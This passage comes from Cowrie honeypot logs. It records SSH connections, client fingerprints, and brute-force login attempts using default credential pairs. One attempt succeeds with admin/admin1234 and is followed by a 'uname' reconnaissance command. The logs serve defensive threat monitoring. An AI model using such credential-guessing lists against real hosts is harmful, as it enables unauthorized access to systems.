-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:19.457246Z","src_ip":"45.156.87.253","session":"f181d99baf45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:19.705195Z","src_ip":"45.156.87.253","session":"f181d99baf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64006,"dst_ip":"10.17.0.5","dst_port":22,"session":"0642be015316","protocol":"ssh","message":"New connection: 194.59.206.2:64006 (10.17.0.5:22) [session: 0642be015316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:20.763402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:20.767231Z","src_ip":"194.59.206.2","session":"0642be015316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:20.788356Z","src_ip":"45.156.87.253","session":"f181d99baf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:20.856430Z","src_ip":"194.59.206.2","session":"0642be015316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:20.950416Z","src_ip":"194.59.206.2","session":"0642be015316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53486,"dst_ip":"10.17.0.5","dst_port":22,"session":"85bad962f5ab","protocol":"ssh","message":"New connection: 45.156.87.253:53486 (10.17.0.5:22) [session: 85bad962f5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:22.669885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:22.673680Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:22.753911Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:22.997520Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:23.195026Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:23.197528Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:23.281245Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:23.284983Z","src_ip":"45.156.87.253","session":"85bad962f5ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.319090604782104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:24.021307Z","src_ip":"72.167.226.244","session":"dfbfb022d45d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814173936843872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:24.262070Z","src_ip":"72.167.226.244","session":"b86681bce5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53502,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae0645ebd408","protocol":"ssh","message":"New connection: 45.156.87.253:53502 (10.17.0.5:22) [session: ae0645ebd408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:25.977370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:25.980441Z","src_ip":"45.156.87.253","session":"ae0645ebd408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:26.070485Z","src_ip":"45.156.87.253","session":"ae0645ebd408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:26.470510Z","src_ip":"45.156.87.253","session":"ae0645ebd408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:27.553661Z","src_ip":"45.156.87.253","session":"ae0645ebd408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55876,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbceb50143c8","protocol":"ssh","message":"New connection: 45.156.87.253:55876 (10.17.0.5:22) [session: dbceb50143c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:29.487951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:29.490885Z","src_ip":"45.156.87.253","session":"dbceb50143c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:29.570696Z","src_ip":"45.156.87.253","session":"dbceb50143c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:29.814641Z","src_ip":"45.156.87.253","session":"dbceb50143c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:30.898585Z","src_ip":"45.156.87.253","session":"dbceb50143c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55892,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c2ce1a2e3e","protocol":"ssh","message":"New connection: 45.156.87.253:55892 (10.17.0.5:22) [session: c4c2ce1a2e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:32.787720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:32.791296Z","src_ip":"45.156.87.253","session":"c4c2ce1a2e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:32.971581Z","src_ip":"45.156.87.253","session":"c4c2ce1a2e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:33.283113Z","src_ip":"45.156.87.253","session":"c4c2ce1a2e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:34.365628Z","src_ip":"45.156.87.253","session":"c4c2ce1a2e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55900,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e048887eb8","protocol":"ssh","message":"New connection: 45.156.87.253:55900 (10.17.0.5:22) [session: 06e048887eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:36.303494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:36.307421Z","src_ip":"45.156.87.253","session":"06e048887eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:36.387928Z","src_ip":"45.156.87.253","session":"06e048887eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:36.630725Z","src_ip":"45.156.87.253","session":"06e048887eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:37.715033Z","src_ip":"45.156.87.253","session":"06e048887eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33016,"dst_ip":"10.17.0.5","dst_port":22,"session":"962455e0aa47","protocol":"ssh","message":"New connection: 45.156.87.253:33016 (10.17.0.5:22) [session: 962455e0aa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:39.620489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:39.627211Z","src_ip":"45.156.87.253","session":"962455e0aa47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:39.709487Z","src_ip":"45.156.87.253","session":"962455e0aa47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:39.956035Z","src_ip":"45.156.87.253","session":"962455e0aa47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:41.040719Z","src_ip":"45.156.87.253","session":"962455e0aa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33022,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db7a53cf97f","protocol":"ssh","message":"New connection: 45.156.87.253:33022 (10.17.0.5:22) [session: 5db7a53cf97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.097677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.101474Z","src_ip":"45.156.87.253","session":"5db7a53cf97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-n